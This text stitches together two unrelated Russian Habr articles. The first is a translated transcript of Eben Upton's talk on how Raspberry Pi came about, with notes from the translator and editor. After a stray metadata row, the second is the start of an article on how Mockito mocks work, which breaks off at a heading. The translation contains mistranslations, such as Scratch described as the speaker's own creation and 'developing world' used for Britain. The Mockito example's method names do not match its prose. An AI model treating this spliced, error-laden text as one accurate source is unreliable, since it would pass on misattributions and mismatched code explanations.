Для меня Raspberry Pi – это семилетнее путешествие, с тех пор, как я был, что называется, завучем Кембриджского университета. Сейчас роль завуча заключается в организации преподавания студентов по какому-либо предмету в одном из наших тридцати колледжей, а также в обеспечении достаточного количества студентов в будущем. Каждый декабрь к нам приходят ученики высшей школы. Раньше приходило очень много учеников, чтобы записаться на наш курс.
Когда я пришел в Кембридж в 1996, у нас было превышение лимита с долей 6:1, так что, чтобы попасть на курс по компьютерным наукам, нужно было бороться, нужно было выиграть у других пятерых кандидатов. А эти пять кандидатов чаще всего те люди, у которых было глубокое понимание того, что делают компьютеры. Это те, кто программировали с 10-летнего возраста. У них наверняка были Commodore 64 или Timex’ы. В Великобритании еще был BBC Microcomputer, именно с ним вырос и я. Это были люди, которые покупали эти машины детьми, чтобы играть на них в компьютерные игры. А, может быть, они создавали или покупали эти машины для учебы.
Но все эти машины имели нечто общее: когда вы включали их, они издавали звук «бип» (ну, у меня был «бип») и показывали программную строку (ожидая, что вы введёте команду). И поэтому первое, что вы должны были сделать, если хотели поиграть в игры или запустить текстовый редактор для домашних заданий — это выбрать не программировать компьютер.
Это значит то, что любой великобританец моего возраста, кто имел склонности или, просто, интерес к программированию, имели возможность удовлетворить этот интерес (т.к. это было по-умолчанию при включении компьютера) — могли программировать много часов в день, развивая свои навыки. Это значит, что практически все, кого я знал в школе, могли по крайней мере написать простую 2-у строчную программу:
```
10 PRINT “I AM THE BEST”
20 GOTO 10
```
… или может быть, что-нибудь более неприличное. Затем они шли в компьютерный магазин, вбивали код во всех машины, и нажимали ‘Enter’ на всех машинах и выбегали из двери. Это были незатейливые 80-е, мы развлекались, как могли.
Результатом этого был огромный поток умных и талантливых детей, которые заходили к нам в возрасте 18 лет. Курсы в Кембридже довольно известны своими короткими сроками: чем лучше университет в Великобритании, тем меньше ты там проводишь времени. Так вот, за трехлетний курс у нас было 60 недель, чтобы превратить ученика высшей школы в того, кто может начать работать над 3-х летней докторской [3-year PHD programme]. Это значит, что нам было очень полезно опираться на уже существующий уровень умений и определённый уровень знаний тех, кто к нам приходил, и на самом деле, что нам нужно было делать – это убеждать детей, что они ничего не знают. У нас для этого был потрясающий инструмент — «функциональное программирование» — [Standard ML](http://en.wikipedia.org/wiki/Standard_ML).
Нужно было «колотить» этих детей (я был одним из этих детей); они ломали стереотипы первые восемь недель курса. И, когда они, хныкая, лежали на полу, мы понимали, что их уже можно начинать учить вещам, которые им нужны.
Людям абсолютно необходимо знать функциональное программирование. К тому времени, как я защитил докторскую и начал проводить интервью с людьми в 2005 году, картина радикально изменилась. Если раньше у нас было примерно 500 кандидатов на 80-90 мест, их стало всего 200-250. Конечно, это была хорошая доля, но она все равно становилась меньше. Мы начинали задумываться, что нам не набрать и 80 или 90 человек. Но, пока мы могли найти этих людей на курсах, которые несомненно были такими же умными, как и те, кто учились в середине 90-х, но им не хватало встроенных хакерских знаний по поводу того, что делает компьютер. Нам пришлось тратить много времени на старте этих 60 недель, чтобы подстроить студентов под уровень, который раньше был само собой разумеющимся.
В 2006 небольшая группа в университете стала задумываться, почему так произошло, и могли ли бы мы что-нибудь с этим сделать. Теория состояла в том, что пропали 8-битные машины, которые существовали, когда мы были детьми. Эта экосистема была уничтожена игровыми консолями: они не только непрограммируемы, но они и разработаны так, чтобы быть НЕ программируемыми. Определенная бизнес-модель подталкивает к созданию непрограммируемых частей аппаратных средств для того, чтобы получить доход с разработки платформы.
Затем появились ПК. ПК – это отлично программируемое «железо», как программируемая среда, ПК гораздо более замысловатые и удобные для пользователя, чем те машины, которые существовали в 80-е. Что поменялось, так это архитектурный выбор. Если вы покупали ПК [то он работал из коробоки], и вам необходимо было сделать усилие [выбор], чтобы начать программировать на нём, вам необходимо было сделать усилие, чтобы установить какую-либо программу, или найти документацию. И этот маленький барьер энергии оказался достаточным, чтобы заметно сократить число умелых кандидатов.
Мы подумали, что существует эта ниша, и нужно ее заполнять. У нас появилась идея заполнения этой ниши, и она состоит из четырех частей.
Прежде всего, это должно быть что-то программируемое.
Во-вторых, это должно быть интересно. Мы помним, почему дети покупали эти машины в 80-е – я сам покупал подобные в 80-е, но для программирования – дело в том, что они покупали компьютеры для игр и для школьных работ, так что должно было быть что-то еще. Это должно быть не просто программируемое устройство. Для нас «интересно» означало игры, графику и видео.
Также, оно должно быть крепким. Нам нужно было что-то маленькое и надежное, что-то, что можно засунуть в школьный рюкзак, вытаскивать множество раз и не повредить.
В конце концов, нам нужно было что-то дешевое. Мы знали, что нам нужно попросить людей купить эти машины, но они не должны быть дорогими. Наша идея была в установлении цены обычного школьного учебника, ведь можно попросить детей купить учебник. Мы выбрали цену в $25, что показывает то, что мы вообще не знали, сколько стоят учебники. Если бы мы знали, сколько стоят учебники, у нас не было бы проблем с инженерами в течение нескольких лет :)
Мы установили планку в $25. Это самая дешевая модель Raspberry Pi. Мы потратили много времени, пытаясь понять, что мы могли сделать за $25. Первое, что мы сделали, было похоже на семейство Arduino, с которым, я думаю, многие из присутствующих работали. Он был основан на микроконтроллерах. Вы могли вставить этот микроконтроллер в старый телевизор стандартного качества, и у вас мог получиться микроконтроллер, похожий на 8-битные Atmel или ATmega. Но у нас не получились эти тесты. Одна из чудных вещей состояла в том, что вы могли сделать подобное устройство на макетной плате [veroboard]. Вы могли сесть за работу дождливым днем, а вечером вы могли получить компьютер. А определённо умещается в наших заявленных $25, но это может быть неинтересно для детей, не так ли? Мне это интересно, потому что я уже знаю, как программировать, и мне нравятся компьютерные игрушки [geeky toys]. Но они должны быть интересны и для детей. Так что мы бросили эту идею.
Примерно в это время я пошел работать в компанию Broadcom, и до сих пор мне платят заработную плату, хотя сейчас провожу больше времени с этим устройством. Мы делали чипы для телефонов, которые стоили примерно столько же, сколько стоили микроконтроллеры, и я был поражен тем, что если вы компания по производству мобильных телефонов, то $10 здесь отличаются от $10 в Digikey [магазине электронных компонентов] в плане производительности. И наша небольшая группа решила посмотреть, что мы можем сделать на базе одной из платформ для мобильных телефонов.
Где-то в 2008 году в наших руках оказалось устройство, изобретенное в Кембридже, основанное на графическом процессоре мобильного телефона, и оно как нельзя было кстати. Это было устройство, не имеющее открытого процессора, внутри него было проприетарное RISC-ядро. Мы мы портировали туда C Python. Мы получили, чего так долго хотели. Это была машина, которая запускалась под известным для обучения языком, в данном случае – Python. И она круто смотрелась. Она умещалась в $25, могла проигрывать видео в качестве 720р, в ней был достаточно мощный графический процесс, мы добавил Python биндинги для всех этих фич. Это была реально классная маленькая платформа. Вы знаете, мы думали, что это отличный старт. Мы подумали, что нам нужна организация, чтобы рекламировать эту машину. Мы придумали название ‘Raspberry Pi’, где Pi означает Py в ‘Python’. Да, неправильно написано, но я защищал это написание в течение последних четырех с половиной лет. Нам казалось, что Pi был бы потрясающим логотипом, и никогда не пользовались этой возможностью, но в итоге застолбили это название.
И тут пошло-поехало. Но одна из проблем, с которыми мы столкнулись, состояла в том, что нам пришлось делать все самим – это была очень закрытая платформа. Мы встроили туда популярный язык, но нам пришлось писать все самим: свои сетевые драйверы, драйверы для SD-карт и всего такого, поэтому еще не дошли до конца. Нам очень повезло, что через пару лет [в Broadcom] выпускался новый чип для мобильных телефонов, и мне удалось я поставил во главу угла чипа — ARM11… Вот они – преимущества работы в команде по разработке чипов.
> «Нам непременно нужен ARM11 в этом чипе по необъяснимым бизнес причинам [unspecified business reasons]».
Мы получили этот чип, и это было прекрасно: у нас получилось то, что мы хотели. Это была почти открытая платформа, на которой мог запуститься Linux, а это значило, что мы могли позволить себе это вложение в разработку реальной операционной системы, за которую не нужно платить.
Но мы все еще мыслили слишком узко. Единственное, чего мы хотели, это достичь планки в 250 кандидатов в год, которые хотели бы учиться в Кембридже на факультете компьютерных наук. Может быть, еще добавить туда 80 или 90 человек для изучения языка ассемблера. Это был бы неплохой результат. Так как мы все страдали ностальгией – я не знаю, есть ли тут кто-нибудь, кто сталкивался с машиной под названием BBC Microcomputer? Это был образовательный микрокомпьютер в 80-е годы, спонсированный BBC. Так вот, наша группа работала с BBC Micro, и мы все были достаточно романтичными, поэтому мы подумали, что было бы круто приклеить стикер BBC на машину. Мы начали называть ее BBC Nano, так как мы никогда не хотели бренд Raspberry Pi. Мы начали спрашивать у BBC: «Можем ли мы приклеить ваш логотип на машину?», а они продолжали отвечать «нет», было много причин по этому поводу.
Наша последняя попытка состоялась в мае 2011 года (почти 2 года назад): мы пошли к Рори Селлану-Джонсу, главному корреспонденту BBC по технологиям, и спросили его еще раз, он сказал нам нет. Но затем добавил: «Хотя я думаю, что это замечательная идея. Могу ли я сделать видео с одним из вас, и вы могли бы поговорить об идее прототипа?»
Один из моих коллег, Дэвид Брэбен, один из моих товарищей – я не знаю, кто-нибудь играл в компьютерную игру «Elite»? Кто потерял все свое детство в этой игре? Так вот, это вина Дэвида. Появилось 45-секундное видео с ним. Он просто стоял с чем-то, нисколько не похожим на Raspberry Pi, и рассказывал о проекте Raspberry Pi.
[Видео](http://www.youtube.com/watch?v=pQ7N4rycsy4) [по какой-то причине нет аудио]
Видео посмотрели 70000 раз на YouTube за два дня. И это были замечательные два дня для меня: я сидел в Broadcom на работе и ничего не делал. Я просто сидел, постоянно нажимая F5.
Вы видели эпизод из «Симпсонов», где Гомер покупает консоль домой и заменяет весь функционал одной из игрушечных птичек. Вот примерно так же я нажимал F5. Мой счетчик «насколько ты популярен» продолжал повышаться, я чувствовал себя замечательно.
В конце второго дня я пришел домой, я был реально воодушевлён, и вот мы сели с моей женой Лизой обедать, сели обедать за стол друг на против друга, и тут мы неожиданно осознали… — 'о, блин!’ [oh, shit!] — мы осознали, что пообещали 600 000 людям, что построим им 25-долларовый компьютер — не зная, как это сделать…
И поэтому 2011-ый год для меня был очень сложным, так как нужно было, прежде всего, понять, как добиться этой цены. Если сложить цену всех чипов, примерно так и получится, но в Raspberry Pi порядка 180 компонентов. Некоторые из них стоят один цент, некоторые – два, некоторые – 10, и они реально могут прибавить цену. Мы долго пытались понять, как снизить планку до $25 или до $35, но это уже с Ethernet и с несколькими USB разъёмами.
К концу года у нас появилось то, что как раз подходило по цене. Это была фантастика. Мы подумали о 600000 людей и подумали: «Ну, большинство из них просто мимо проходили, они на самом деле не хотят Raspberry Pi». Мы придумали отличную бизнес-модель (я только что закончил MBA, поэтому знал всё о бизнес-моделях), и я подумал: «Мы выпустим 10000 Raspberry Pi плат, выложим информацию на сайте, похожем на интернет-магазин, люди начнут их покупать, а затем, через несколько месяцев, у нас закончатся 10000 плат, и мы используем эти деньги на изготовление последующих плат, это будет круто!»
Но затем появились сигналы опасности: трафик на сайте был огромен, количество людей на форумах возросло. И для того, чтобы оставить людей заинтересованными, мы выложили на сайт содержимое загрузочной SD-карты, так как машина запускалась с нее. Это было раннее бета-обеспечение с багами, простая прошивка, вы могли запустить ее на Qemu. Эту версию скачали 50000 раз. Это был момент, когда мы поняли, что есть 50000 людей наших фанатов, насколько суровых, что готовы скачать даже самую багерскую альфа версию операционной системы, для компьютера, которого пока ещё не существует.
Тогда мы подумали, что наши 10000 моделей разберут всего за неделю, а их создание длится три месяца, так что у нас будут проблемы. Нам очень повезло, так как мы нашли две компании в Великобритании: Premier Farnell и RS Components. Они работают здесь под торговыми марками ‘Newark’ и ‘Allied’. Два огромных дистрибьютора, у которых были те же цели. Их покупатели – это инженеры, у них есть интерес в создании сильной инженерной базы в стране. Поэтому у них были те же цели, что и у нас. Поэтому они были готовы выручить нас, не просто распространяя платы, но производя их за нас. Они были готовы обеспечить капитал, они были готовы обеспечить снабжение и поддержку от покупателей. В январе 2012 года — за два месяца до запуска мы превратились из учреждения с закрепленным капиталом, в компанию которая выдавала лицензии на интеллектуальную собственность [IP licensing company]. Мы были владельцами чертежей платы, нам принадлежал бренд RaspberryPi, и мы выдали лицензии (на плату и бренд) этим двум компаниям, а они делали тяжелую работу за нас. Вот что помогло обеспечить масштабируемость.
Нам очень повезло, что мы так сделали — потому что у нас было 100000 заказов в первый день (12 апреля 2012 года). Ответом на наш вопрос был: «15 минут». Это было мило. Вот уже прошел год. Мы продали уже миллионный Raspberry Pi в прошлом месяце.
Мне нужно притвориться, что я не зря назвал цифру 1, не так ли? Так вот, единица – это один миллион проданных машин. [в начале выступления на экране была выделена цифра 1 из числа Пи]
Это был замечательный год, и одна из самых важных вещей в этом году за первые шесть месяцев заключалась в том, что на нашем сайте было много лицензионных программ, которыми мы занимались все это время. Следующие 6-9 месяцев люди, которые сведущи в компьютерах, начали писать о нас.
Последние 3-6 месяцев характер подачи на наш сайт изменяется. Есть взрослые, которые работают на Pi, и дети хотят работать на нем тоже. Это очень хороший знак.
Я вас сейчас поражу. (говорит за кулисы) Можно вернуть слайд?
(появляется число Пи — 3,1415, число 15 выделено)
15 крутых картинок. Я не смог обойтись пятнадцатью, но будет очень быстро.
Мы не ожидали того, что люди будут делать проекты. Я занимаюсь графикой и считаю, что многие люди хотели бы делать графические демо для платформы. Если в этой комнате есть специалисты по графике, то сделайте какое-нибудь демо на Pi и осчастливьте меня. Но все то, что уже сделали люди для Pi, совершенно было неожиданно для меня. Вот, пожалуйста, замечательная работа.
Люди используют эту платформу для того, чтобы создавать музыку. Это аналого-цифровой синтезатор, который вы можете скачать, под названием… Название вылетело из головы, но вы можете узнать о нем на сайте [raspberrypisynthesizer.blogspot.ru](http://raspberrypisynthesizer.blogspot.ru/).
Пиво! Оказывается, есть много людей, которые в одинаковой степени любят компьютерное программирование и пиво. Вы не поверите, но некоторые люди, начав работать с Raspberry Pi, решили правильно сделать свою пивоварную станцию. Есть программа под названием BrewPi, это открытая платформа. Я думаю, что она написана на Python, Arduino и для Raspberry Pi. Это система, анализирующая «микроварение пива» на Raspberry Pi.
Фотография. Это мне понравилось. Если вы хотите идеальные макрофотографии, есть такой процесс, называемый «сведение фокуса», при котором вы фотографируете дважды, фокусируя камеру на два объекта, а затем сводите их вместе. Обычно для этого нужно программное обеспечение стоимостью £1000, а здесь все сделано простым сканером, камерой и Raspberry Pi. Очень мило.
Ах да, игры. Вокруг Raspberry Pi есть огромное общество любителей ретро-игр. Raspberry Pi достаточно мощный, чтобы эмулировать эру компьютеров, на которой вырос я и которую разрушила эра компьютеров. Я постоянно на это жалуюсь. Вот, пожалуйста, Super Nintendo, черт бы тебя побрал!
Теперь об освещении. Я вставил этот слайд, потому что это невероятно мило. На Темзе находится много бумажных, нет, наверное, пластиковых лодок. Есть небольшой причал на Темзе, называется Canary Wharf, там находится много финансовых служб Великобритании. Там есть вереница лодок, к которой вы можете подключиться, набрать текст, и лодка изменит свой цвет. Подобного рода инсталляции стали популярными для Raspberry Pi.
О, это моя любимая! Это «Доктор Кто», космос и Raspberry Pi в одном. Один джентльмен, Дэйв Акерман, которого я встретил в первый раз в четверг вечером, но я знаю его уже долгое время, он занимается установкой камер на метеозонды и посылает их на высоту 40 километров и делает фотографии. Он делает это с видеокамерами и простыми цифровыми фотоаппаратами. Год назад, сразу после запуска, он начал делать это с помощью Pi. У него получились вот эти замечательные снимки Земли с высоты 40 километров, и он продолжает делать невероятные вещи, такие как маленький полистироловый TARDIS в космосе.
Важно заметить то, что это позволяет «Космической программе» с достижимым бюджетом достичь уровня каждой начальной школы мира. Я бросаю вызов всем детям, не интересующимся в науке, технологии, инженерии и математики, чтобы они смогли запустить TARDIS в космос.
У нас есть такие же журналы, которые выходили в 80-е, с такими же прописными кодами, как в 80-е. Журнал с кодами Python. Есть что-то в этом, ведь интернет – это отличный помощник людям, чтобы научиться писать на программе. Я помню, как ребенком, играя в «Elite», я хотел написать маленькую 3-D игру, хотел нарисовать линии. Я знал, что существует такой алгоритм Брезенхэма, который позволял рисовать эти линии. Мой отец был профессором в Великобританском университете, и у меня был доступ к университетской библиотеке. Мог ли я найти там об алгоритме Брезенхэма? Мог ли? Проклятье. А сейчас я могу узнать об этом алгоритме, просто забив его в Гугл.
Но замечательно то, что, когда ты набираешь что-то вместо того, чтобы просто скачать это с интернета, появляется такое ощущение, которое проходит через твои глаза, в твой мозг и выходит из пальцев, это нечто большее, чем просто скачать и запустить. Обычно, когда ты пишешь код и делаешь ошибку, у тебя появляется «возможность обучения». Я помню эти «возможности» в 80-е годы.
Вот бесплатный журнал под названием «The MagPi». Надеюсь, что в будущем мы будем их печатать. Пока это электронная версия для первых восьми номеров, выходит каждый месяц. Скоро она превратится в печатную версию, на которую можно будет оформить подписку.
У нас есть книги. Я не знаю, есть ли у вас учебники Haynes. Да? Ну вот, машинные учебники Haynes были в моде в Великобритании, когда вы открывали капот, а там был большой кусок металла, на котором написано «если откроете, то гарантии не подлежит». Haynes пришлось пережить этот переход и они выжили благодаря таким учебникам, как «Учебник Haynes для космического шаттла» и «Учебник Haynes для ребенка», теперь они сделали такой учебник для Raspberry Pi, так что мы наблюдаем за развивающейся экосистемой вокруг Pi, а это очень отрадно. У нас даже есть одна книга О’Райли, что означает «ты сделал это».
Вот крутая вещь. Это язык программирования под названием Python. Один парень понял, как запустить Python на рабочем столе своего компьютера. Можно сфокусировать курсор на рабочем столе и начать писать на Python. Вот настолько люди приблизились к примитивному опыту, о котором я говорил ранее, а это на самом деле мило.
Корпуса — мы думали сделать примерно 1000 таких, в начале, и примерно 10000 после. Мы не думали, что сделаем достаточно шаблонов для них, поэтому не сделали корпус. Это значило то, что мы оставили много ценностей в экосистеме. Многие люди стали делать кейсы для Pi, даже несколько аксессуаров. Кейсы идеально бы дополнили эту гамму. Они покрыли весь рынок. И это нижний порог рынка, потому что это .PDF. Нужно просто распечатать шаблон на самой толстой бумаге, которую вы сможете найти и вставить в принтер, не сломав его, затем свернуть, и у вас будет кейс! И он даже не воспламеняется, что неплохо. Мне нравится это, похоже на корзинку.
А вот ещё один пример крутого корпуса — на базе LEGO. У нас была идея создания компьютера размером с кредитную карточку, это был наш способ фокусирования на маленьких размерах и простоте общения. Можно сказать, что это компьютер размером с кредитную карточку, но на самом деле это не так, потому что я не обращал внимания на парня, который занимался разработкой платы, это мой друг Пит Ломас, поэтому она на один миллиметр больше, чем нужно. Но благодаря какому-то счастливому совпадению, абсцисса и ордината платы оказалась равны обычной детали LEGO, очень-очень близко. А таких LEGO кейсов теперь полно. Эта идея пришла в голову девочке по имени Биз. Ей 11 лет, и она выложила обучающие материалы на ее сайте. Теперь существует сайт с магазином нестандартных наборов LEGO, вы можете купить их. Так как Биз все это придумала, она получает гонорар, а так как ей 11 лет, то этот гонорар ей выдают в форме LEGO. Теперь у нее больше LEGO, чем у меня.
А вот, с другой стороны, Pibow. Дочка Джесси получила потрясающий корпус для своего Raspberry Pi. Это Pibow. Он сделан человеком, который оформил наш логотип. Это стопка кусков плексигласа. Самый красивый корпус для компьютера, который я когда-либо видел.
Вот небольшое доказательство того, что дети учатся программировать на Raspberry Pi. Этого парня зовут Майки. Вы не можете этого видеть, потому что не попало в кадр, но он учится программировать в Scratch, язык программирования, который создали мы. В данный момент мы тратим много средств, чтобы скоординировать Scratch с Pi.
У нас был очень узкий взгляд: мы думали, что это поможет нам с проблемой в Кембриджском университете, а оказалось, что дети по всему миру хотят пользоваться программой. Вот ребята из Уттар-Прадеша, Индия. В нижнем левом углу вы можете видеть, что они используют Scratch для того, чтобы научиться программировать. Нам посылают много подобных фотографии. Когда у нас трудные дни в развитии Raspberry Pi, а их бывает не так и мало, подобного рода фотографии поднимают нам настроение и помогают в продвижении, потому что они показывают то, зачем мы должны заниматься этим маленьким компьютером.
У нас идет Minecraft. Я не думаю, что нужно тут еще что-то говорить. Я говорил, что здесь нужна была зацепка. Нужно зацепить детей в мир компьютеров. Вполне понятно, что многие дети любят играть в Minecraft. Mojang очень нам помогли, так как они сделали карманную версию Minecraft под названием «Minecraft Pi Edition». Замечательная вещь состоит в том, что в этой версии есть небольшое «гнездо», к которому можно связать любой язык программирования (отгадайте, какой больше всего используют), а затем писать текстовые команды, чтобы взаимодействовать с миром. Вы хотите построить дом и начнете «кирпич, кирпич, кирпич...». А можете открыть окно с Python и написать:
```
for x in range(10):
for y in range (10):
brick()
```
И у вас появится маленький пол. А это очень быстрая ответная реакция. Это позволяет детям найти то, что им непременно понадобится.
Пытаемся захватить мир. «Что мы будем делать сегодня вечером, Брэйн?» Это замечательная карта, созданная Райаном Волмсли, которому на тот момент было 14 лет. Это переделанная карта Google, саморегистрирующаяся, она показывает, где находятся Raspberry Pi в данный момент. Можно убедиться в том, что мы вышли из зоны комфорта в Кембридже, есть немного в Великобритании и очень много в Северной Америке. Северная Америка на данный момент – крупнейший рынок для нас вот уже в течение трех последних месяцев. Также там есть самая большая база. Это фантастика, мы даже не ожидали, что вас будет так много.
Есть небольшие шансы в Южной Африке, Австралии и Азии. Я думаю, что у нас получиться продать большое количество в Южной Америке и Индии, но мы пока туда добираемся. У нас есть на них планы.
А вот и Уэльс, откуда я родом. Когда мы начали разрабатывать Raspberry Pi, мы делали то, что делали все: ехали в Китай и строили. Мы начали с Китая, а через несколько месяцев нам позвонили из Sony, у которых есть фабрика в Уэльсе, и сказали: «Вы знаете, мы можем построить Pi за ту цену, которая вам по карману». В сентябре прошлого года мы разрабатывали Pi в Великобритании по той же цене, по которой мы строили их в Шэньчжэне. Для меня это очень важно, потому что я родился в 10 милях от этой фабрики. У южного Уэльса, как и у многих областей, являющихся индустриальными центрами развивающегося мира, огромные экономические проблемы. А возможность разработки самого дешевого компьютера в мире в Уэльсе – это потрясающий знак для всех тех, кто беспокоится о производственной индустрии в развивающемся мире. Для меня лично это очень важно.
[на слайде снова число Пи, выделена цифра 4]
Четыре. Четыре вещи о Python, четыре причины, почему Python важен для нас. Наше название. Мы получили название от Python, и я буду защищать всю свою жизнь возможность написать название «Python» именно так, но, да, мы в долгу перед ними.
Мы используем их чип. Это 2835, чип Broadcom, который я разрабатывал в команде для GPU. Мы создали всю машину под Python. Когда мы создавали процессоры для шейдеров, мы разработали мультимедийный IP в чипе на Python, потому что быстрее в сто раз, чем передавать данные через Verilog, так как эти инструменты просто лучше. У нас была идея: «Почему инструменты для программного обеспечения намного лучше, чем CAD?» Потому что программисты показывают то, что может их собственная компания. Вот и основные инженеры делают так же.
Наше программное обеспечение. Python и много других языков программирования помогли нам сделать необычную среду ARM/Linux с очень сильной базой ПО, которая может быть запущена в обычном X86 мире.
И, наконец, наш язык для обучения. Мы поддерживаем много языков. Для маленьких детей у нас есть LOGO и Scratch. Мы также будем поддерживать C и C++ для тех, кто хочет быть ближе к железу. Python помогает нам создать историю, которую мы можем рассказать детям. Мы говорим им: «Изучайте этот язык, в котором Hello, World – это просто текст (‘Hello, World’), а затем вы перейдете по «кривой линии», которая приведет вас к другим программам». Не будет больше существовать разрыва между тем, как ты пишешь двухстрочную программу, чтобы раздражать людей в компьютерных магазинах, и как ты станешь профессиональным инженером ПО. Мы думаем, что это очень важно, потому что если есть пробел в этой кривой, люди в него проваливаются.
Я почти закончил.
PyPy. Мы большие фанаты PyPy. Я думаю, что это замечательная идея. Я был частым пользователем Psyco ранее, эти программы реально полезны и важны. У нас не такая большая производительность на Raspberry Pi, поэтому мы прилагаем все наши усилия на то, чтобы выжать все, что мы можем, из этой платформы. Конечно, PyPy будет большой частью нашего будущего.
Вот и все. Я думаю это все, что я хотел сказать. Спасибо большое за ваше время, спасибо за теплый прием. Пожалуйста, зайдите на [www.raspberrypi.org](http://www.raspberrypi.org) и говорите о том, что вы сделали со своим Raspberry Pi.
#### От редактора
Хочется выразить благодарность Максиму Калиниченко, который выполнил уже второй перевод. Чтобы поддержать инициативу — мы решили выделить ему от нашего хакспейса MakeItLab — RaspberryPi микрокомпьютер :)
Кстати вот что он прокомментировал после перевода:
> Закончил перевод по Raspberry Pi. Это было замечательное выступление.
>
> Это был трудный и долгий перевод. Не знаю, справился бы я без текста или нет :) Скорее всего, да, потому что тема интересна. Эбен рассказал все прекрасно и доступно.
>
> Мне даже захотелось научиться программированию на Питоне, честно говоря!)
>
> Я умею чуток программировать на Паскале, но это совсем основы, ибо был самоучкой. А вот Питон хотелось бы осилить. Не знаю, для чего, но просто очень интересно.
>
>
>
> Спасибо за такое интересное видео!
Так выражаю благодарность Andrew McBrearty, кто любезно согласился, и набрал [английскую текстовку](http://www.raspberrypi.org/phpBB3/viewtopic.php?t=38472&p=335625) выступления.
#### Перевод журнала TheMagPi
К слову говоря перевод на русский выступления Эбена Аптона занял больше полу-года — начинали несколько людей, но только Максим смог окончательно выполнить перевод (взялся за перевод он в начале ноября).
Есть предложение — для того, чтобы переводы по тематике RaspberryPi (обучающие материалы для школьников) появлялись быстрее — собрать некий фонд.
Например можно сделать краудфандинговую кампанию на сбор средств на перевод [The MagPi](http://www.themagpi.com/) журнала — я общался с редактором — они не против перевода на русский. Это замечательный журнал для начинающих программировать, уже 18 номеров.
Для того, чтобы выяснить ситуацию — я создал [веб-форму для опроса](https://docs.google.com/forms/d/1_CWGg-QKS80BqbXs-utVWbQYkdz1O9286zVuaYuTDpA/viewform), где вы могли бы отметить ваше намерение по участию в кампании. По её результату мы примем решение о старте кампании. Спасибо. | https://habr.com/ru/post/202764/ | null | ru | null |
# Mockito. Из чего он приготовлен и как его подавать?
[](https://habr.com/ru/company/skillfactory/blog/541762/)
Думаю, многим довелось выпить какой-нибудь напиток, который глубоко впился в наши вкусовые рецепторы, что нам хочется пить его каждый день. Так вот для меня таким «напитком» стал Mockito. Один раз написав простенький тест, можно вернуть себе веру в магию. Я всё ещё помню, как удивлялся тому, как он работает.
Чему же я удивился? Например, этому:
```
private static class Apple {
private String color;
public String getName() {return color;}
}
@Test
public void basic() {
Apple apple = mock(Apple.class);
when(apple.getName()).thenReturn("Red");
assertEquals("Red", apple.getName()); // true
}
```
С точки зрения написания кода, это очень красиво и понятно:
* Мы создаём экземпляр-заглушку для класса Apple.
* Затем мы как бы говорим, когда вызывается метод apple.getColor(), то верни «Red».
* Далее мы просто проверяем действительно ли apple.getColor() возвращает то, что мы хотим, и это работает!
Внимание! Не читайте дальше, если и дальше хотите верить в магию. Дальнейшее содержание статьи отнимет у вас и эту толику детского счастья.
---
Что такое Mockito?
------------------
[Mockito](https://github.com/mockito/mockito) является открытой библиотекой с лицензией [MIT License](https://github.com/mockito/mockito/blob/release/3.x/LICENSE).
Приведённый выше пример работы позволяет заменить логику компонента, что очень полезно при тестировании. Например, если есть какой-то компонент, который должен использовать внешний API для получения данных, то с помощью Mockito мы можем сделать «заглушку» без обращения к внешнему API. Ещё более важным может быть изменение возвращаемых значений, которое можно задавать сразу в логике модульного теста.
Библиотека довольно популярна и часто используется при тестировании, например, Spring Boot приложений.
Чуть-чуть отойдём от темы и представим себе волшебника, который взмахом палочки по воздуху переместил яблоко с одного стола на другой. Согласитесь, результат для нас вполне очевиден. Адам может и сам перенести райское яблоко с одного стола на другой. Тем не менее благодаря самому процессу как яблоко пролетело по воздуху – именно это делает его магией.
Так и здесь. Результат для нас может вполне очевиден, но как же он реализован?
Присмотримся к коду ещё раз и акцентируем внимание на второй строке:
```
when(apple.getName()).thenReturn("Red");
```
Внутри метода when по сути мы помещаем возвращаемое значение из метода getName(), а потом говорим thenReturn. Но как так получается? Как when может изменить наш метод getName, просто получив то значение, которое он возвращает?
Более того, мы знаем что поле name не инициализировано, а значит, там будет null.
За это уже можно влюбиться в неё и начать вовсю использовать.
> По моему личному мнению, Mockito – полезная вещь, которую стоит изучить при наличии свободного времени. Но если изучить досконально не получится – тоже не страшно, то, что вы будете иметь о ней представление, – уже хорошо. Тем более лучшие практики подтверждают, что если ваш код трудно тестировать, то с вашим кодом явно что-то не так. В пользу ознакомления, а не глубокого изучения, говорит и то, что в 2018 году появился такой инструмент, как TestContainers, который умеет поднимать реальную базу в Docker и реально выполнять запросы в БД/Kafka/RabbitMQ.
>
>
>
> Егор Воронянский, Java Middle Developer в BPC Banking Technologies.
>
> Ментор раздела backend на курсе SkillFactory [Java-разработка](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=120221)
>
>
Учимся показывать фокусы
------------------------
К сожалению, в нашем мире всякая магия – это своего рода фокус, обман зрения. И наш случай – не исключение. Это хорошо отрепетированное представление, красивое, но в то же время не очень убедительное для людей с острыми глазами. Но, прежде чем показывать тот или иной фокус, нам нужно разгадать, как он работает.
Редко хороший фокус удаётся без предварительной подготовки. Так, например, фокусник может привязать прозрачную леску к яблоку.
Нашим же приготовлением был вызов метода mock:
```
Apple apple = mock(Apple.class);
```
Отсюда мы понимаем, что наш apple – это уже необычное яблоко.
И действительно, если вы попробуете передать обычный экземпляр класса в метод when, то получите ошибку.
Попробуем узнать, кем оно теперь является:
```
@Test
public void basic2() {
Apple apple = mock(Apple.class);
System.out.println(apple.getClass().getCanonicalName());
// org.own.ArticleExample1$Apple$MockitoMock$692964397
System.out.println(apple.getClass().getSuperclass().getCanonicalName());
// org.own.ArticleExample1.Apple
assertNotEquals(apple.getClass(), Apple.class); // true
}
```
Итак, с кем же мы имеем дело? Кто же этот самозванец, который выдаёт себя за наше яблоко?
Обычно такими делами занимается паттерн Proxy. Суть его в том, чтобы подсунуть нам не конкретно наш экземпляр, который мы хотим получить (в нашем случае Apple), а его наследника, который может иметь какие-либо необходимые модификации.
Что касается именно нашей библиотеки Mockito, то она действительно основана на проксировании. Тем не менее есть библиотеки, занимающиеся тем же, но основанные не на проксировании, а, например, на изменении байт-кода. Примером такой библиотеки может служить [PowerMock](https://github.com/powermock/powermock) с лицензией [Apache-2.0 License](https://github.com/powermock/powermock/blob/release/2.x/LICENSE.txt).
Ну, и разница между библиотекой, работающей с Java API, и той, которая манипулирует байт-кодом, наверное, очевидна. Но зачастую подключение PowerMock избыточно, хотя случаев его использования довольно много.
Далее мы разберём, в чём же минусы решения через проксирование.
### Proxy
